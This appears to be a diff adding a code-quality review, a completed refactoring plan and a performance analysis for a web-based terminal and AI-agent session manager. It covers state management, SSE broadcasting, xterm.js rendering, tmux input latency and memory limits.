+this.subagentToolResults = new Map();  // Result caching
+this.subagentParentMap = new Map();    // Agent-to-session mapping
+this.teams = new Map();                // Team tracking
+this.teamTasks = new Map();           // Team task state
+this.planSubagents = new Map();        // Plan agent tracking
+this.pendingWrites = [];               // Terminal write queue
+this.terminalBufferCache = new Map();  // Buffer caching (unbounded!)
+this.projectInsights = new Map();      // Bash tool insights
+// ... 40+ more
+```
+
+### Problems
+
+1. **18 Map instances** with complex cross-references (no garbage collection strategy)
+2. **No domain separation**: Session, subagent, notification, UI, and network state mixed
+3. **Implicit dependencies**: `selectSession()` requires 5+ Maps to be in consistent state
+4. **`terminalBufferCache`** has no max size - can grow unbounded with many sessions
+
+### Recommended Domain Split
+
+```javascript
+// Instead of 60+ flat properties:
+class SessionState {
+  sessions = new Map();
+  sessionOrder = [];
+  terminalBuffers = new Map();
+  tabAlerts = new Map();
+}
+
+class SubagentState {
+  subagents = new Map();
+  activity = new Map();
+  parentMap = new Map();
+  windows = new Map();
+  minimized = new Map();
+}
+
+class TeamState {

+  tasks = new Map();
+  teammates = new Map();
+}
+
+class UIState {
+  activeSessionId = null;
+  draggedTabId = null;
+  isLoadingBuffer = false;
+}
+```
+
+---
+
+## 12. Medium: Frontend Code Duplication
+
+**Severity**: MEDIUM
+**Impact**: Repeated patterns increase maintenance burden and inconsistency risk.
+
+### Duplicated Patterns
+
+**API fetch calls** (~50 instances):
+```javascript
+// Repeated everywhere:
+fetch(`/api/sessions/${sessionId}/...`, {
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json' },
+  body: JSON.stringify({...})
+}).catch(() => {})
+```
+**Fix**: Extract `ApiClient` class.
+
+**`innerHTML` usage** (104 instances):
+- Mix of template strings, createElement chains, and direct innerHTML
+- Some with manual XSS escaping (`text.replace(/</g, '&lt;')`), some without
+- No consistent DOM creation pattern
+
+**`typeof app !== 'undefined'` checks** (20+ instances):
+- Lines 458, 467, 481, 614, 617, 1549, etc.
+- **Fix**: Ensure `app` is always defined as global singleton.
+
+**Element visibility toggling** (212+ occurrences):
+```javascript
+element.classList.add('active')
+element.classList.remove('active')
+```
+**Fix**: Create `toggleClass(el, className, condition)` utility.
+
+### Event Listener Issues
+
+- **152 `addEventListener` calls** with fragile cleanup
+- **Mix of inline (`onclick="app.method()"`) and addEventListener** - hard to track
+- **Element cache (`_elemCache`) never invalidated** if DOM elements are recreated (line 2808)
+- **Tab drag-and-drop listeners** may not clean up if user switches tabs mid-drag
+
+---
+
+## 13. Medium: Inconsistent Logging
+
+**Severity**: MEDIUM
+**Impact**: Hard to debug in production. Can't filter by severity or component.
+
+### Current State
+
+- **345 console calls** across source files
+- **No structured logging** - all `console.log/error` directly
+- **No log levels** (DEBUG, INFO, WARN, ERROR)
+
+### Inconsistent Prefixes
+
+```typescript
+// Some files use brackets:
+console.log('[Session] Starting interactive...');
+console.log('[RalphLoop] Task assigned...');
+console.log('[TunnelManager] Tunnel started');
+
+// Others use no prefix:
+console.error('Failed to spawn PTY:', err);
+console.log('Server listening on port', port);
+```
+
+### Positive: CleanupManager Has Debug Mode
+
+`src/utils/cleanup-manager.ts` has a `debugMode` flag for conditional debug logging - good pattern not replicated elsewhere.
+
+### Fix
+
+Either:
+1. Enforce consistent `[ComponentName]` prefixes via lint rule
+2. Create lightweight logger abstraction (not a heavy framework)
+
+---
+
+## 14. Medium: Utils Barrel Export Gaps
+
+**File**: `src/utils/index.ts`
+**Severity**: MEDIUM
+**Impact**: Forces deep imports, unclear public API.
+
+### Missing Exports
+
+These functions are defined but NOT exported from the barrel:
+- `createAnsiPatternFull()` and `createAnsiPatternSimple()` (factory functions from `regex-patterns.ts`)
+- `SAFE_PATH_PATTERN` (from `regex-patterns.ts`)
+- `validateTokenCounts()` and `validateTokensAndCost()` (from `token-validation.ts`)
+- `isSimilar()`, `isSimilarByDistance()`, `levenshteinDistance()`, `normalizePhrase()` (from `string-similarity.ts` - though some are dead code, see finding #16)
+
+### Deep Import Anti-Pattern (16 instances)
+
+Some files bypass the barrel unnecessarily:
+```typescript
+// Could use barrel:
+import { BufferAccumulator } from './utils/buffer-accumulator.js';
+import { LRUMap } from './utils/lru-map.js';
+
+// Must deep import (not in barrel):
+import { SAFE_PATH_PATTERN } from './utils/regex-patterns.js';
+```
+
+### Fix
+
+Add missing exports to `src/utils/index.ts` and update import sites.

+| `src/web/server.ts` | 10 | Low (auth flow verified) |
+| `src/session.ts` | 6 | **High** (mux/terminal refs) |
+| `src/respawn-controller.ts` | 4 | Low (config validated) |
+| `src/lru-map.ts` | 3 | Low (checked lookups) |
+| `src/subagent-watcher.ts` | 2 | Low (pending tool calls) |
+| Others | 12 | Low |
+
+### High-Risk Examples (session.ts)
+
+```typescript
+// Line 915 - _mux could be null if startInteractive called during cleanup
+`[Session] Starting interactive (with ${this._mux!.backend})`
+
+// Line 954 - _muxSession could be null in race condition
+this._muxSession!.muxName
+```
+
+### Fix
+
+Add null guards before assertions, or document invariants:
+```typescript
+// Before:
+this._mux!.backend
+
+// After:
+if (!this._mux) throw new Error('Invariant: _mux must be initialized before startInteractive');
+this._mux.backend
+```
+
+### Positive Notes
+
+- **0 instances of `as any`**
+- **0 instances of `@ts-ignore` or `@ts-expect-error`**
+- TypeScript overall score: 8.5/10

+
+## 16. Low: Dead Utility Functions
+
+**File**: `src/utils/string-similarity.ts`
+**Severity**: LOW
+**Impact**: Code clutter, confusion about what's actually used.
+
+### Unused Functions
+
+These are defined and exported but **never imported anywhere**:
+- `isSimilar(a, b, threshold)` - similarity check with threshold
+- `isSimilarByDistance(a, b, maxDistance)` - Levenshtein-based check
+- `levenshteinDistance(a, b)` - raw edit distance
+- `normalizePhrase(phrase)` - phrase normalization
+
+### Actually Used
+
+Only these are imported from the barrel:
+- `stringSimilarity()` - used in ralph-tracker.ts
+- `fuzzyPhraseMatch()` - used in ralph-tracker.ts
+- `todoContentHash()` - used in ralph-tracker.ts
+
+### Fix
+
+Delete unused functions or mark as `@internal` if kept for future use.
+
+---
+
+## 17. Low: No Dependency Injection for File I/O
+
+**Severity**: LOW (practical impact limited at current scale)
+**Impact**: Can't mock filesystem for unit tests. 68+ hard-coded filesystem calls.
+
+### Examples
+
+```typescript
+// state-store.ts - directly imports and uses fs
+import { readFileSync, writeFileSync, existsSync, mkdirSync } from 'node:fs';
+
+// push-store.ts - hard-coded paths
+const KEYS_FILE = join(DATA_DIR, 'push-keys.json');
+const SUBS_FILE = join(DATA_DIR, 'push-subscriptions.json');
+
+// ai-checker-base.ts - direct execSync
+execSync(`tmux kill-session -t "${this.checkMuxName}"`, { timeout: 3000 });
+```
+
+### Why This Is Lower Priority
+
+- The codebase uses integration tests (spawning real processes/tmux sessions) rather than unit tests
+- Most filesystem operations are in infrastructure code, not business logic
+- Adding DI would be a large refactor with limited near-term benefit

+
+### Implementation Phases
+
+**Phase 1 - Quick Wins (1-2 days)** ✅ COMPLETE
+1. ✅ Export missing functions from utils barrel (~30 min) — `createAnsiPatternFull`, `createAnsiPatternSimple`, `SAFE_PATH_PATTERN`, `validateTokenCounts`, `validateTokensAndCost` all now exported from `src/utils/index.ts`
+2. ✅ Delete dead utility functions (~15 min) — `isSimilar()` removed from `string-similarity.ts`; `levenshteinDistance()`, `isSimilarByDistance()`, `normalizePhrase()` made private (used internally by `fuzzyPhraseMatch`/`stringSimilarity`)
+3. ✅ Consolidate duplicated `EXEC_TIMEOUT_MS` constant (~15 min) — Created `src/config/exec-timeout.ts` as single source of truth; `claude-cli-resolver.ts`, `opencode-cli-resolver.ts`, and `tmux-manager.ts` all import from it
+4. ✅ Add `z.infer` to Zod schemas (~2 hours) — `src/web/schemas.ts` now has 36 `z.infer` type exports (lines 512-547) covering all schemas
+5. ✅ Fix 10 weak "not.toThrow()" tests (~1 hour) — All `not.toThrow()` calls now have behavior assertions: `task-tracker.test.ts` (6 instances all followed by state checks), `image-watcher.test.ts` (1 instance followed by length check), `session-manager.test.ts` (1 instance followed by count check)
+
+**Phase 2 - CleanupManager & Debounce (2-3 days)** ✅ COMPLETE
+1. ✅ Create `Debouncer` utility class (~1 hour) — Created `src/utils/debouncer.ts` with `Debouncer` and `KeyedDebouncer` classes; exported from `src/utils/index.ts`
+2. ✅ Migrate all 8 files from manual debounce to Debouncer — `state-store.ts` (2 Debouncers), `push-store.ts` (1 Debouncer), `bash-tool-parser.ts` (1 Debouncer), `image-watcher.ts` (1 KeyedDebouncer), `subagent-watcher.ts` (2 KeyedDebouncers), `server.ts` (1 KeyedDebouncer for persist timers), `ralph-tracker.ts` (2 Debouncers replacing 4 manual fields: `_todoUpdateTimer`, `_loopUpdateTimer`, `_todoUpdatePending`, `_loopUpdatePending`)
+3. ✅ Migrate respawn-controller to CleanupManager — 10 manual timer fields replaced with single `CleanupManager` instance + `timerIds` Map. `startTrackedTimer()`/`cancelTrackedTimer()` preserved as wrappers for UI countdown display and timer events. `clearTimers()` uses dispose-and-recreate pattern for state transitions.
+4. ✅ Migrate server.ts timer cleanup to CleanupManager (~2 hours) — `private cleanup = new CleanupManager()` present; terminal batch timers and pending respawn starts left as manual Maps (complex lifecycle)
+5. ✅ Migrate remaining files — `bash-tool-parser.ts` (CleanupManager ✅), `subagent-watcher.ts` (CleanupManager ✅), `ralph-tracker.ts` (Debouncer ✅)
+
+**Phase 3 - server.ts Route Extraction (3-4 days)** ✅ COMPLETE
+1. ✅ Created `src/web/routes/` with 12 domain route modules + index barrel (4,090 LOC total): session (909), system (768), ralph (533), plan (459), respawn (315), case, file, hook-event, mux, push, scheduled, team
+2. ✅ Created `src/web/middleware/auth.ts` (193 LOC) — Basic Auth, session cookies, rate limiting, security headers, CORS
+3. ✅ Created `src/web/ports/` with 7 typed port interfaces (142 LOC) — SessionPort, EventPort, RespawnPort, ConfigPort, InfraPort, AuthPort; routes declare dependencies via intersection types
+4. ✅ Created `src/web/route-helpers.ts` (154 LOC) — `findSessionOrFail()`, `formatUptime()`, `sanitizeHookData()`, `autoConfigureRalph()`
+5. ✅ Reduced `server.ts` from 6,736 → 2,697 LOC (60% reduction). Remaining LOC is justified infrastructure: session lifecycle, SSE broadcast engine, terminal batching, respawn integration, resource cleanup
+
+**Phase 4 - Domain File Splitting (2-3 days)** ✅ COMPLETE
+1. ✅ Split `types.ts` into `src/types/` directory — 14 domain files (1,469 LOC total): common, session, task, app-state, respawn, ralph, api, lifecycle, run-summary, tools, teams, push, plan + index barrel. Original `types.ts` is now a 1-line re-export
+2. ✅ Split `ralph-tracker.ts` into 7 files (exceeded plan of 4) — ralph-tracker (2,391), ralph-plan-tracker (477), ralph-status-parser (552), ralph-fix-plan-watcher (366), ralph-stall-detector (166), ralph-config (153), ralph-loop (522)
+3. ✅ Split `respawn-controller.ts` into 5 files (exceeded plan of 3) — respawn-controller (3,228), respawn-health (229), respawn-metrics (229), respawn-patterns (131), respawn-adaptive-timing (134)
+4. ✅ Split `session.ts` into 6 files (exceeded plan of 3) — session (2,168), session-manager (298), session-auto-ops (284), session-cli-builder (132), session-task-cache (101), session-lifecycle-log (114)
+
+**Phase 5 - Frontend Modularization (3-4 days)** ✅ COMPLETE
+1. ✅ Extracted `constants.js` (238 LOC) — shared constants, timing values, Z-index layers, `escapeHtml()`, `extractSyncSegments()`
+2. ✅ Extracted `mobile-handlers.js` (449 LOC) — `MobileDetection`, `KeyboardHandler`, `SwipeHandler`
+3. ✅ Extracted `voice-input.js` (853 LOC) — `DeepgramProvider`, `VoiceInput`
+4. ✅ Extracted `notification-manager.js` (445 LOC) — `NotificationManager` class (5-layer system)
+5. ✅ Extracted `keyboard-accessory.js` (279 LOC) — `KeyboardAccessoryBar`, `FocusTrap`
+6. ✅ Extracted `api-client.js` (70 LOC) — `_api()`, `_apiJson()`, `_apiPost()`, `_apiPut()`
+7. ✅ Extracted `subagent-windows.js` (1,119 LOC) — 13 subagent window methods
+8. ✅ Removed inlined xterm-zerolag-input copy → built to `vendor/xterm-zerolag-input.js` from `packages/xterm-zerolag-input/`
+9. ✅ Reduced `app.js` from ~15,200 → 11,473 LOC (24% reduction). All scripts loaded in correct dependency order in `index.html`
+
+**Phase 6 - Config Consolidation (1 day)** ✅ COMPLETE
+1. ✅ Created 6 new domain-focused config files (better than plan's 2 generic files): `server-timing.ts` (13 constants), `auth-config.ts` (5 constants), `tunnel-config.ts` (8 constants), `terminal-limits.ts` (4 constants), `ai-defaults.ts` (3 constants), `team-config.ts` (3 constants)
+2. ✅ Total: 9 config files in `src/config/`, ~65 constants centralized
+3. ✅ Eliminated all cross-file duplicates: `STATS_COLLECTION_INTERVAL_MS` (was in 2 files), `timeout: 10000` (was 6× inline in hooks-config.ts → `HOOK_TIMEOUT_MS`), AI model string (was in 5 files → `AI_CHECK_MODEL`), `MAX_TRACKED_AGENTS` (was shadowed in subagent-watcher.ts)
+4. ✅ CLAUDE.md updated with config files table, import conventions, resource limits references
+
+**Phase 7 - Test Infrastructure (2-3 days)** ✅ COMPLETE
+1. ✅ Created `test/mocks/` directory with 5 files (541 LOC): `mock-session.ts` (312), `mock-state-store.ts` (60), `mock-route-context.ts` (121), `test-helpers.ts` (37), `index.ts` (11 — barrel export)
+2. ✅ Consolidated MockSession into single shared definition — no duplicate class definitions remain (2 `vi.mock()`-based copies intentionally left in session-manager.test.ts and ralph-loop.test.ts)
+3. ✅ `respawn-test-utils.ts` converted to backward-compatibility shim — re-exports from `test/mocks/`, retains respawn-specific utilities (MockAiIdleChecker, TimeController, etc.)
+4. ✅ Created initial 3 route test files with 58 total tests: `session-routes.test.ts` (34 tests), `respawn-routes.test.ts` (13 tests), `system-routes.test.ts` (11 tests). Route test harness uses `app.inject()` — no real ports needed
+5. ✅ All 12 route modules now have dedicated test files in `test/routes/`: session, respawn, system, ralph, plan, push, team, mux, file, scheduled, hook-event, case

+# Performance Analysis & Optimization Opportunities
+
+**Date**: 2026-03-07
+**Scope**: Full-stack performance analysis — backend PTY handling, SSE broadcasting, frontend terminal rendering, local echo overlay, DOM updates, config/scaling limits.
+**Constraint**: All recommendations preserve existing functionality including local echo, backpressure, anti-flicker pipeline, and mobile support.
+
+---
+
+## Executive Summary
+
+The codebase is already well-optimized in critical paths. The multi-layer backpressure system, adaptive terminal batching, DEC 2026 sync markers, and incremental state serialization are strong. The main opportunities are in **reducing unnecessary work** (SSE filtering, DOM rebuilds, lazy terminal init) rather than algorithmic changes.
+
+**Top 5 high-impact opportunities:**
+
+| # | Optimization | Impact | Risk | Effort |
+|---|-------------|--------|------|--------|
+| 1 | Session-scoped SSE subscriptions | Bandwidth -60-80%, CPU -40% | Medium | Medium |
+| 2 | Lazy xterm.js for minimized subagent windows | Memory -3.5MB at 50 agents | Low | Low |
+| 3 | Targeted badge update (skip full tab rebuild) | Eliminates O(n) reflow on badge change | Low | Low |
+| 4 | Conditional SSE padding (tunnel-only, terminal-only) | Bandwidth -70% when tunneled | Low | Low |
+| 5 | Canvas renderer on mobile | GPU pressure reduction, battery savings | Low | Low |
+
+---
+
+## 1. SSE Broadcasting
+
+### Current State
+- **92 event types** broadcast to all connected clients (max 100)
+- Single `JSON.stringify()` per event, shared across all clients (efficient)
+- **No per-client filtering** — every client receives every event regardless of which session they're viewing
+- 8KB padding appended to **every** event when tunnel is active (forces Cloudflare proxy flush)
+- Backpressure: clients marked as backpressured if `reply.raw.write()` returns false; recovery via `session:needsRefresh`
+
+### Bottlenecks
+
+**B1: No session-scoped SSE subscriptions** (`server.ts:1986`)
+- Client viewing session A still receives all events for sessions B through T
+- With 20 active sessions, ~95% of terminal events are irrelevant to any given client
+- Cost: wasted bandwidth, CPU for JSON parsing, and event handler dispatch on client
+
+**B2: Unconditional 8KB padding** (`server.ts:1977`)
+- Every event gets 8KB comment padding when tunnel is active
+- A `task:updated` event (~200 bytes payload) becomes ~8.2KB
+- High-frequency events like `session:terminal` need the padding; low-frequency events like `session:created` don't
+
+### Recommendations
+
+**R1: Session-scoped SSE subscriptions** (High impact)
+- Add `?sessions=id1,id2` query param to `/api/events` SSE endpoint
+- Server filters events by session ID before broadcasting
+- Client subscribes to active session + "global" events (session lifecycle, system)
+- Re-subscribes on tab switch (or subscribe to all with client-side filter as fallback)
+- **Savings**: ~80% bandwidth reduction for single-session viewers; ~60% for multi-session dashboards
+
+**R2: Tiered SSE padding** (Medium impact)
+- Only pad `session:terminal` events and SSE heartbeats (the two that need proxy flush)
+- Skip padding for low-frequency structural events (`session:created`, `task:updated`, etc.)
+- **Savings**: ~70% padding overhead reduction; terminal events already large enough to flush
+
+---
+
+## 2. Terminal Rendering
+
+### Current State (Well-Optimized)
+- **6-layer anti-flicker pipeline**: Server batching (adaptive 16-50ms) → DEC 2026 sync wrap → single JSON serialize → client rAF batching → sync segment parser → chunked buffer loading (32KB/frame)
+- **64KB/frame write budget** with DEC 2026 sync-segment awareness (prevents 141KB single-frame freezes)
+- **3-layer backpressure**: SSE cap (128KB queued → drop + refresh), frame budget (64KB/frame), chunked restore (32KB/frame)
+- WebGL renderer enabled by default with canvas fallback on context loss
+- Typical latency: 16-32ms; worst case: ~115ms (50ms server batch + 50ms sync wait + 16ms rAF)
+
+### Bottlenecks
+
+**B3: WebGL on mobile** (`app.js:627-637`)
+- Mobile GPUs are weaker; WebGL context loss more likely on low-end devices
+- Canvas renderer is sufficient for mobile (typically 1 session, smaller viewport)
+
+**B4: Static scrollback for all sessions** (`app.js:572`)
+- Default 5000 lines scrollback for all sessions regardless of activity level
+- Heavy output sessions (build logs, test runners) accumulate large scroll buffers
+
+**B5: No addon lazy loading**
+- FitAddon, Unicode11Addon, and WebGLAddon all loaded at terminal init
+- Unicode11Addon only needed for CJK content; WebGLAddon is large
+
+### Recommendations
+
+**R3: Force canvas renderer on mobile** (Low risk)
+- Detect `MobileDetection.isMobile()` and skip WebGL addon loading
+- Reduces GPU memory pressure, prevents context loss crashes
+- Mobile typically has 1-2 sessions — canvas performance is more than adequate
+
+**R4: Dynamic scrollback based on session activity** (Low risk)
+- Active sessions (working state): 5000 lines (current default)
+- Inactive/idle sessions: reduce to 2000 lines
+- Restore on session select (fetch from server buffer)
+- **Savings**: ~60% scrollback memory for idle sessions
+
+**R5: Lazy-load Unicode11Addon** (Low risk)
+- Only load when CJK content is detected in terminal output
+- Detection: check for characters in CJK Unicode ranges during ANSI stripping (already iterating)
+- Most sessions never need it
+
+---
+
+## 3. DOM & Session Tab Rendering
+
+### Current State
+- Session tabs use **intelligent incremental updates** with debounced 100ms rendering
+- Incremental path: only updates changed properties (classes, textContent, badges) when session list is stable
+- Full rebuild path: triggered when sessions added/removed **or badge count changes**
+- Subagent windows: per-window xterm.js instances, even when minimized
+
+### Bottlenecks
+
+**B6: Badge count change triggers full tab rebuild** (`app.js:3207-3209`)
+- A single subagent badge increment on one tab triggers `_fullRenderSessionTabs()` — rebuilds entire sidebar HTML via `innerHTML =`
+- With 20 sessions, this is an O(n) reflow for a single badge number change
+- Badge changes are frequent during active subagent work
+
+**B7: Minimized subagent windows retain xterm.js instances** (`subagent-windows.js`)
+- 50 subagent windows × ~75KB per xterm.js instance = ~3.75MB DOM memory
+- Minimized windows are invisible but their terminals remain in DOM
+- xterm.js instances continue processing resize events even when hidden
+
+**B8: `backdrop-filter: blur()` on overlays** (`styles.css:2246-2247, 3098`)
+- Forces new stacking context, disables browser compositing optimizations
+- 50-100ms layout thrashing on modal open/close
+- Only 2 uses, but they're on frequently toggled overlays
+
+### Recommendations
+
+**R6: Targeted badge update without full rebuild** (Low risk)
+- When badge count changes but session list is stable, update only the badge `<span>` textContent
+- Keep incremental path for badge changes; only use full rebuild for structural changes (add/remove sessions)
+- **Savings**: Eliminates O(n) reflow per badge change; reduces to O(1) targeted update
+
+**R7: Lazy xterm.js initialization for subagent windows** (Medium impact)
+- Only create xterm.js Terminal instance when window is restored/maximized
+- On minimize: serialize terminal buffer, dispose Terminal instance, keep buffer in memory
+- On restore: create new Terminal, write buffer back
+- **Savings**: ~3.5MB DOM reduction at 50 minimized agents; eliminates hidden resize processing
+- **Trade-off**: ~200-500ms restore delay (buffer write), mitigated by chunked loading
+
+**R8: Replace `backdrop-filter: blur()` with `background: rgba()`** (Low risk)
+- Use semi-transparent background instead of blur effect
+- Or use `will-change: transform` hint if blur is kept
+- **Savings**: Eliminates forced recomposition layer; 50-100ms faster overlay open
+
+---
+
+## 4. Backend PTY & State Management
+
+### Current State (Excellent)
+- **BufferAccumulator**: Array-based chunking with lazy join on read — avoids O(n) string concatenation
+- **ANSI stripping**: Throttled at 150ms intervals with lazy evaluation (not per-chunk)
+- **State persistence**: 500ms debounce + incremental JSON caching per session (only dirty sessions re-serialized)
+- **Expensive parsers**: Throttled to 150ms window, accumulated data capped at 64KB
+- **Memory**: All buffers have hard limits (2MB terminal, 1MB text, 1000 messages, 64KB line buffer)
+
+### Bottlenecks
+
+**B9: Pending clean data cap at 64KB** (`session.ts:1097-1133`)
+- Between 150ms processing windows, raw PTY data accumulates in `_pendingCleanData`
+- Capped at 64KB — excess data rolls off (old data discarded)
+- During heavy output (large build logs), this means parsers may miss content
+- Acceptable trade-off for performance, but worth documenting
+
+**B10: `LRUMap.delete()` is O(n) worst case** (`utils/lru-map.ts:137-138`)
+- When deleting the newest entry, iterates all keys to find new newest
+- Rare in practice (delete is uncommon; set/get are hot paths)
+- Could matter during mass cleanup of 500 agents
+
+### Recommendations
+
+**R9: Consider adaptive pending data cap** (Low priority)
+- During idle detection (critical to get right), increase cap to 128KB
+- During active working state, keep at 64KB (parsers less critical)
+- **Benefit**: More accurate idle detection during heavy output
+
+**R10: Track second-newest in LRUMap** (Low priority)
+- Maintain a `_secondNewestKey` alongside `_newestKey`
+- On delete of newest, promote second-newest without iteration
+- Only matters at scale (500+ agents with frequent eviction)
+
+---
+
+## 5. Local Echo & Input Path
+
+### Current State (Well-Designed)
+- **DOM overlay approach** — `<span>` elements in `.xterm-screen` at z-index 7, completely independent of `terminal.write()`
+- **Render caching**: `_lastRenderKey` includes text, position, column offsets — skips redundant re-renders
+- **Input flow**: Char accumulation → Enter triggers flush → 80ms delay before `\r` (ensures text reaches PTY first)
+- **Tab completion**: Baseline snapshot → detect buffer change → 300ms fallback timer
+- **CJK support**: Per-character width detection with `terminal.unicode.getStringCellWidth()` preferred, manual fallback
+- **Prompt detection**: Bottom-up line scan, O(rows) — cached position, column-lock prevents jitter
+
+### Bottlenecks
+
+**B11: tmux send-keys latency** (~50-100ms per input)
+- Each `writeViaMux()` spawns a child process (`tmux send-keys`)
+- Text and Enter sent separately with 50ms delay between
+- For rapid typing: characters batch before Enter, so overhead is per-command not per-keystroke
+- **Acceptable trade-off** for session persistence (tmux survives server restarts)
+
+**B12: 80ms delay between text flush and Enter** (`app.js:872-875`)
+- Intentional: ensures text reaches PTY before Enter, preventing Ink from processing empty input
+- Adds 80ms to perceived Enter-to-response latency
+- Could potentially be reduced with acknowledgment-based approach
+
+**B13: Scroll listener on terminal viewport** (`zerolag-input-addon.ts:139`)
+- 50ms debounced re-render on scroll — acceptable but fires frequently during heavy output
+- Overlay hidden when scrolled up (correct behavior), shown when at bottom
+
+### Recommendations
+
+**R11: Reduce Enter delay from 80ms to 50ms** (Low risk, test carefully)
+- The tmux `send-keys` already has 50ms internal delay
+- Combined with network latency, 80ms client-side may be excessive
+- Test with Ink-heavy sessions (Claude Code's status bar) — if text arrives before Enter at 50ms, reduce
+- **Savings**: 30ms perceived latency reduction per command
+
+**R12: Batch tmux send-keys via stdin pipe** (Medium effort, high impact for rapid input)
+- Instead of spawning `tmux send-keys` per input, maintain a persistent connection
+- Use `tmux -C` (control mode) for programmatic interaction without child process spawning
+- **Savings**: Eliminate ~50-100ms process spawn overhead per input
+- **Risk**: Control mode has different semantics; needs careful testing with session persistence
+
+**R13: Skip overlay re-render during heavy output scroll** (Low risk)
+- When terminal is receiving >10KB/s output, hide overlay entirely (user isn't typing during heavy output)
+- Re-show overlay after 500ms of output silence
+- **Savings**: Eliminates unnecessary DOM overlay re-renders during build logs / test output
+
+---
+
+## 6. Polling & File Watchers
+
+### Current State
+- **SubagentWatcher**: 1s base poll, full scan throttled to every 5s, fs.watch() on known directories
+- **TranscriptWatcher**: 1 per session, fs.watch() primary with 1s poll fallback
+- **ImageWatcher**: chokidar per session with 100ms stability poll, burst limit 20/10s
+- **TeamWatcher**: chokidar primary with 30s poll fallback, LRU caches (50 teams, 200 tasks)
+- **RalphTracker**: Todo cleanup every 5 minutes
+
+### Scaling Profile (20 sessions)
+| Component | Instances | Frequency | Total ops/sec |
+|-----------|-----------|-----------|---------------|
+| SubagentWatcher | 1 (global) | Full scan every 5s | 0.2/s |
+| TranscriptWatcher | 20 | 1s poll (fallback) | 20/s max |
+| ImageWatcher | 20 | 100ms poll (during writes only) | 200/s burst |
+| TeamWatcher | 1 (global) | 30s poll (fallback) | 0.03/s |
+| SSE heartbeat | 1 (global) | 15s | 0.07/s |
+| SSE dead client check | 1 (global) | 30s | 0.03/s |
+| Mux stats collection | 1 (global) | 2s | 0.5/s |
+| **Total steady-state** | | | **~21/s** |
+
+### Recommendations
+
+**R14: Increase TranscriptWatcher poll interval to 2s** (Low risk)
+- Transcript changes are infrequent (new messages every few seconds at most)
+- fs.watch() is the primary mechanism; polling is fallback
+- **Savings**: Halves fallback filesystem checks (20/s → 10/s for 20 sessions)
+
+**R15: Share chokidar instances for co-located session directories** (Medium effort)
+- Sessions in the same parent directory could share a single chokidar watcher with depth:3
+- Common case: multiple sessions in `~/projects/foo/` — one watcher covers all
+- **Savings**: Reduce chokidar instances from 20 to ~5-10 for typical workloads
+
+---
+
+## 7. Frontend Asset Delivery
+
+### Current State
+- **app.js**: 12,027 lines (source) → esbuild minified → gzip/brotli compressed (~30-40KB gzipped)
+- **Static caching**: `maxAge: '1y'` via `@fastify/static`
+- **Service worker**: Push notification handler only — no asset caching
+- **No code splitting**: Single monolithic app.js bundle
+
+### Bottlenecks
+
+**B14: No cache-busting mechanism**
+- `maxAge: '1y'` means browsers cache aggressively
+- After deployment, users need `Ctrl+Shift+R` to see updates
+- No content hash in filenames or ETags for automatic invalidation
+
+**B15: Monolithic app.js**
+- All 12K lines loaded on initial page load regardless of which features are used
+- Ralph wizard, plan orchestrator UI, team management — all loaded upfront
+- Mobile loads the same bundle as desktop
+
+### Recommendations
+
+**R16: Add content hash to asset filenames** (Medium impact)
+- Build step: rename `app.js` → `app.[hash].js`
+- Generate a manifest or inject hash into HTML template
+- Keep `maxAge: '1y'` — cache invalidation happens via filename change
+- **Savings**: Eliminates stale cache issues after deployment; removes need for manual hard refresh
+
+**R17: Code-split app.js into core + feature modules** (High effort, medium impact)
+- Core (~4K lines): terminal, SSE, session management, tabs, input handling
+- Deferred (~8K lines): Ralph wizard, plan UI, team management, subagent windows, image viewer
+- Load deferred modules on first use via dynamic `import()` or lazy `<script>` injection
+- **Savings**: ~60% reduction in initial load size; faster time-to-interactive
+- **Risk**: Complexity increase; need to handle loading states for deferred features
+- **Note**: May not be worth the effort given the app is already gzipped to ~30-40KB
+
+---
+
+## 8. CSS Performance
+
+### Current State
+- **styles.css**: 7,153 lines with ~45 box-shadow uses, 2 backdrop-filter uses
+- Animations: GPU-accelerated keyframes for pulsing alerts, loading spinners
+- Z-index layering: well-organized (subagent 1000, plan 1100, log 2000, image 3000, overlay 7)
+
+### Recommendations
+
+**R18: Replace backdrop-filter with opaque overlay** (Low risk, covered in R8)
+
+**R19: Use `contain: content` on subagent windows** (Low risk)
+- Add CSS containment to subagent window containers
+- Prevents layout changes inside windows from triggering reflow on parent
+- Especially valuable with 50 windows: changes in one window won't invalidate others
+- ```css
+  .subagent-window { contain: content; }
+  ```
+- **Savings**: Reduces layout recalculation scope from global to per-window
+
+**R20: Use `content-visibility: auto` on off-screen subagent windows** (Low risk)
+- Browser skips rendering of off-screen windows entirely
+- Combined with `contain-intrinsic-size` to prevent layout shift
+- ```css
+  .subagent-window.minimized { content-visibility: hidden; }
+  ```
+- **Savings**: Browser skips paint/layout for minimized windows; complements R7
+
+---
+
+## 9. Memory & Scaling Limits
+
+### Current Budget (20 sessions)
+| Component | Per Session | Total | Status |
+|-----------|-----------|-------|--------|
+| Terminal buffer | 2MB | 40MB | Hard-limited, auto-trim |
+| Text output | 1MB | 20MB | Hard-limited, auto-trim |
+| Messages | ~1MB | 20MB | Capped at 1000, trims to 800 |
+| Respawn buffer | 1MB | 20MB | Hard-limited |
+| **Buffers total** | | **100MB** | Acceptable |
+| TranscriptWatcher | ~100KB | 2MB | |
+| ImageWatcher | ~50KB | 1MB | |
+| SubagentWatcher | ~500KB | 500KB | Global |
+| Frontend terminal cache | ~256KB | 5MB | LRU, max 20 entries |
+| **Total estimated** | | **~110MB** | Comfortable |
+
+### At Max Scale (50 sessions)
+- Buffers: ~250MB
+- Watchers: ~5MB
+- **Total: ~255MB** + Node.js overhead — acceptable on modern hardware
+
+### Potential Leak Vectors (All Mitigated)
+- `_shortIdCache` in server — unbounded Map, but entries are tiny (string→string); grows at O(sessions created), not O(events)
+- All CleanupManager-registered resources tracked and disposed on session stop
+- `isStopped` guard prevents new timers after session cleanup
+
+---
+
+## 10. Implementation Priority Matrix
+
+### Phase 1 — Quick Wins (1-2 hours each, low risk)
+| # | Optimization | Files to Change |
+|---|-------------|-----------------|
+| R6 | Targeted badge update | `app.js` (3207-3209) |
+| R3 | Canvas renderer on mobile | `app.js` (627-637) |
+| R8 | Replace backdrop-filter blur | `styles.css` (2246, 3098) |
+| R19 | CSS containment on subagent windows | `styles.css` |
+| R20 | `content-visibility: hidden` on minimized windows | `styles.css` |
+
+### Phase 2 — Medium Effort (half-day each)
+| # | Optimization | Files to Change |
+|---|-------------|-----------------|
+| R2 | Tiered SSE padding | `server.ts` (broadcast function) |
